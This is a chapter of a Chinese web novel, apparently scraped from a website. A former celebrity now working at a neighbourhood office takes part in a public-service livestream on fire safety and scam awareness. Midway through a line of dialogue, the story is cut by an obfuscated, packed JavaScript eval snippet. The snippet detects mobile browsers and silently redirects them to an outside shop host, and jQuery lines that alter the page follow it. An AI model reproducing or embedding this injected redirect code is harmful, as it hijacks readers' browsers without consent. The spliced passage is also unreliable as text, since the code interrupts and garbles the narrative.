闻叙那边没再催。
倒是《城市有你》节目组和市宣传口，又递来一份方案。
这次不是商业综艺，也不是娱乐飞行。
市里要做一场公益联动直播，主题叫“城市安全与社区共建”。
说白了，就是借几个有关注度的人，把平时没人点开的安全知识，推到更多人眼前。
秦制片亲自来谈，态度很诚恳。
“这不是娱乐综艺。”她说，“也不需要你表演什么。就是跟着做一次真实的消防安全排查和社区宣传。闻导那边我也帮你问过，他说你要是真答应一个节目，这种比娱乐访谈靠谱。”
谢临舟看她：“你和闻导什么时候这么熟了？”
“同行又不是仇人。”秦制片笑笑，“再说了，大家现在对你都挺好奇的。”
“我有什么好好奇的。”
“好奇你到底会不会回去。”秦制片顿了顿，“也好奇你为什么不急着回去。”
会议室里安静了两秒。
谢临舟低头看那份方案。
主题没问题，流程也很干净，没有乱七八糟的煽情设计，更没有试图消费他“前顶流”身份的刻意文案。
真正打动他的，是里面一条很小的备注。
“直播期间，同步公布全市社区消防隐患自查入口。”
也就是说，这场直播不只是拍他。
而是能把流量真正引到一件具体有用的事上。
秦制片看出他在看哪行，笑了下：“这个是你们王主任提的。”
谢临舟一顿。
“主任提的？”
“嗯。”秦制片点头，“她说既然热度来了，就别浪费。总得给市民留点比‘谢临舟真帅’更有用的东西。”
会议室里静了一瞬。
半晌，谢临舟把方案合上。
“可以。”
秦制片眼睛一亮：“真的？”
“但我有条件。”
“你说。”
“第一，按我们日常流程走，不给我单独设计高光。第二，不让任何娱乐圈老熟人来当嘉宾。第三——”
“第三是什么？”
“直播结束后，你们得把社区自查入口挂一周。”他说。
“挂一周？”
“一天不够。”他说，“很多人白天上班，周末才会想起来检查。”
秦制片看了他一会儿。
她原本准备了一整套关于传播效果、平台推荐、话题留存的说辞，到了这会儿，忽然一句也用不上了。
因为谢临舟盯着的不是直播当天的数据。
是周末才有空回家检查燃气和灭火器的人。
她笑了。
“行。”
——
消息一出，全网都在转。
谢临舟终于要“录节目”了。
虽然是公益直播，不是娱乐综艺，可对很多人来说，这已经足够像某种松口的信号。
#谢临舟公益直播#的热搜一挂上，评论区比过节还热闹。
【来了来了，终于愿意开机了。】
【公益直播是最好的切入点，他现在这种人设，不适合突然回综艺。】
【期待，但别只期待脸。】
【楼上说的对，期待他把消防知识讲明白。】
陈默在居民群里看着居民一条条讨论这事，自己则默默切到那个“今天谢老师按时下班了吗”的小号，发了一条动态：
【提前说，那天直播结束后，你们都打开社区自查入口看看。】
这条动态被人截了图发到微博，还上了个小热搜。
网友乐疯了：
【前黑粉转志愿者转公益宣传员，人生进度条拉满了。】
【这号越来越不像黑粉号，更像个中年社工。】
【陈默同志，请介绍一下入党流程。】
陈默气得关了评论。
——
那天直播声势很大。
市里的官号、新闻媒体、《城市有你》节目组、临江街道办，全都同步推流。
开播前半小时，整个临江街道办都在忙——不是忙化妆，不是忙布景，而是忙今天要跑的每一个点位。
小林手里拿着清单，一条一条和谢临舟核对：
“第一家，三号楼陈阿姨，电动车飞线充电。人已经打过招呼了，她说线还没收，等我们过去现场看。”
“第二家，五号楼赵爷爷，灭火器过期。老爷子昨天才知道今天上镜，特意换了件衬衫。”
“第三家，七号楼何阿姨，燃气关闭流程。她说煮了壶茶等我们。”
“茶别喝。”谢临舟说。
“啊？”
“直播期间喝老百姓家东西，容易让人联想到人情。规矩不能破。”
小林一愣：“可是……茶都煮好了。”
“煮好了放那儿，节目结束后自己喝。”他说，“我们不带走一滴水。”
小林点头：“好。那我提前跟何阿姨说一声。”
王主任在旁边听着，满意地点了点头。
她特意拍了拍小林的肩膀：“你师父这条规矩，你记一辈子。”
“知道了。”
“基层工作里，最容易出问题的，从来不是大事。”王主任说，“是小事上你先松了一次口。这个口子一开，后面全是洞。”
小林认真把“不带走一滴水”几个字写进自己的工作本。
——
弹幕一开就爆。
【来了来了！】
【这算不算半只脚回圈？】
【前面的，慎言，他可能只是顺便上个班。】
【临江街道的常驻阿姨们来签到了。】
【我爸妈专门提前吃完饭守着。】
直播内容比所有人预想的都“无聊”。
没有唱歌，没有跳舞，没有煽情访谈，连“你对复出怎么看”这类问题，也被节目组删得干干净净。
镜头跟着谢临舟进楼道、查灭火器、看燃气阀门，又在一户老人家门口停下，拍那截从窗边拉出来的电动车充电线。
弹幕一开始还在刷“好家伙，真上班啊”，刷着刷着，忽然有人问：
【等等，灭火器怎么看过期？】
【压力表指针在哪个区才算正常？】
【我家那个是2018年的，还能用吗？】
秦制片在后台盯着监视器，感慨道：
“这一期，不像综艺，像上课。”
“但收视曲线挺好。”副导演把数据递给她看，“第一个小时还在涨。”
“挺好。”秦制片也说，“留下来的，不再是看热闹的人了。”
她又看了眼曲线：“这种节目现在少。”
——
有一段特别出圈。
一位阿姨在镜头前不好意思地承认，自己家门口确实堆了纸箱，平时懒得收。
弹幕一片“哈哈哈同款”。
阿姨自己倒还有点舍不得：“这几个箱子我留着卖废品的，不碍事吧？”
谢临舟没接话，把最上面的箱子拎起来，露出后面被挡住的消防栓。
“平时看着不碍事。”他说，“真出事的时候，它就碍命。”
阿姨愣了一下。
谢临舟蹲下身，帮她一起把纸箱捆好。
阿姨脸有点热：“哎哟，我自己来就行……”
“您自己来，下次还是堆。”他说，“今天我在，顺手。”
阿姨讪讪笑了。
弹幕却忽然慢了。
【他这个‘顺手’，是真的顺手。】
【看着还真不像是作秀的那种顺手。】
【‘真出事的时候它就碍命’——这话我记下了。】
【谁懂，我看到这里突然好想回家把楼道杂物清了。】
【已经起身去收了，不骗你们。】
【节目组你们知道吗，你们这期真的在替城市做事。】
——
还有一段是教怎么识别骗子。
谢临舟坐在阿姨家的矮桌边，把手机翻过来，一条一条指给她看：
“这条短信说国家补贴，点进去填身份证——假。”
“这个说快递在海关要你付关税——假。”
“这个说您孙子在外地出事要打款——一百个假。”
阿姨盯着那一排红字，看得心服口服：“你说我们这些老人，怎么就这么容易被骗呢。”
“不是你们容易。”谢临舟说，“是骗子太‘勤劳’。”
阿姨：“……”
“您别自责。”他语气难得放轻了一点，“他们一天能给几百个人打电话，话术一遍一遍练。您只是碰上了他们练熟的那一套，被骗一次，不是您的错。”
【这段我想截下来发给我妈。】
【他真的会站在对方的角度说话。】
【不是居高临下的那种，他是真的理解老人。】
【谢老师这一套流程做下来，我才知道原来反诈是这么细的事。】
——
直播结束那晚，市里自查入口访问量破了纪录。
秦制片高兴坏了，连着给王主任发了三条感谢消息。
王主任则背着手站在街道办门口，心情极好地评价了一句：
“这回录节目，总算没白录。”
这一句背后，是她在行政系统里顶下来的压力。
公益直播是市里联动，本来给的脚本是“重点突出正能量典型人物”。她拍着桌子把脚本打回去，要求把“典型人物”改成“实地操作”。
对方一开始还劝她：“王主任，人物突出一点，传播效果会更好。”
王主任把笔往桌上一放：“传播出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509973|202955||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去以后呢？大家记住谢临舟今天穿了什么，还是记住灭火器怎么看过期？”
对方沉默了一下。
她又说：“要是只拍脸，那不用来街道办。找个棚，灯打亮一点，更好看。”
对方还扯了两轮，最后还是她赢了。
这种仗她打过不止一次。
——
谢临舟站在旁边，低头看手机。
闻叙发来一条消息：
你不上镜的时候像活人。
上镜以后还是像活人。
这点很难得。
谢临舟回：
夸得挺怪。
闻叙秒回：
夸你呢。
剧本考虑得怎么样？
谢临舟看着屏幕，停了两秒。
然后回了句：
还在想。
这一次，他没再直接拒绝。
小林不知什么时候凑过来：“谢老师，闻导又来了啊？”
谢临舟把手机扣下：“看你的秋季反诈宣传。”
“我在看我在看。”小林连忙低头继续勾画流程表，“可是……”
“嗯？”
“您真的不想接他的戏吗？”
谢临舟没立刻回答。
他抬头看了一眼街道办门口的那盏灯。灯泡有点旧，光不那么均匀。陈默今天值夜班，正把一箱宣传册从楼上往下搬，嘴里还嘟囔着“下次别再塞这么满”。周敬路过打了个招呼，顺便把他手里的一箱接过去。
小林顺着他视线看了一眼：
“您看什么呢？”
“看我这摊子。”谢临舟淡淡道，“接戏要花时间。我得先想好，这边怎么办。”
小林一愣：
“……您是不是在认真考虑？”
“考虑是一回事。”他说，“接是另一回事。”
小林眼睛亮起来，又很快识趣地收回眼神：
“那我不打扰您考虑了。”
谢临舟看了他一眼，很淡地笑了一下。
几个月前，他不会把问题想成这样。
那时候，娱乐圈递来的每一个邀约，都只剩三个问题：接不接，值不值，会不会再掉进坑里。
可现在，他先想到的，是眼前这一摊子。
他想起自己刚进临江街道那天，王主任只问了他一句：
“你打算在这儿待几年？”
他当时沉默了几秒，答：“不清楚。”
王主任听完，只说了一句：“行。待到你清楚的时候再说。”
那时候他还没太理解这句话。
现在，他好像终于知道，什么叫“清楚”。
——
那天晚上，陈默在直播结束后给那个“今天谢老师按时下班了吗”账号发了一条长文——是他开号以来写过最长的一条。
这条长文没有煽情，没有夸人，甚至没提谢临舟的名字。
它只讲了一件事——
“你家灭火器是几几年生产的？有没有过期？如果你今天看完直播，没回家查一眼，那你看这场直播只看到了脸。”
“看到脸，不算真看。”
“回家查，才算真看。”
这条长文下面点赞破了八万。
有人在评论区回：“我刚查完，我家灭火器2019年的，过期了。已经下单了新的。”
下面一排回复：“我也是。”“我的也过期了。”“我爸我妈那边都过期了，我今晚回家立刻换。”
陈默看着这些评论，盯了整整十分钟。
他在这个圈子里晃荡这么多年，从黑粉到观众到志愿者，从来没有哪一条东西让他觉得真正“有用”过。
今天有一群人因为他的一条长文，去换了家里的灭火器。
不大的一件事。
但很重。
他把手机扣下，回去继续干志愿者的活。
——
临睡前，王主任发来一条工作群消息：
【今天大家辛苦了。明天早上照常七点半。】
小林看着这条消息，一边换睡衣一边自言自语：“主任这人是真的不放过任何一次机会通知我们上班。”
陈默在下面回：“主任的温柔体现在——没要求我们更早。”
王主任在群里：“你们再废话，明天六点半。”
群里瞬间鸦雀无声。
谢临舟在自己的手机上看着这几条消息，轻轻笑了一下。
他把手机扣下，抬头看了看窗外的夜。
今天这一天——直播、方案、闻叙的消息、王主任争下来的脚本、陈默的长文——所有事情糅在一起，却都没压过王主任群里那一句“明天早上照常七点半”。
前面的一切都可能变。
可明天早上七点半，临江街道照常上班。
他想着这一句，睡得很实。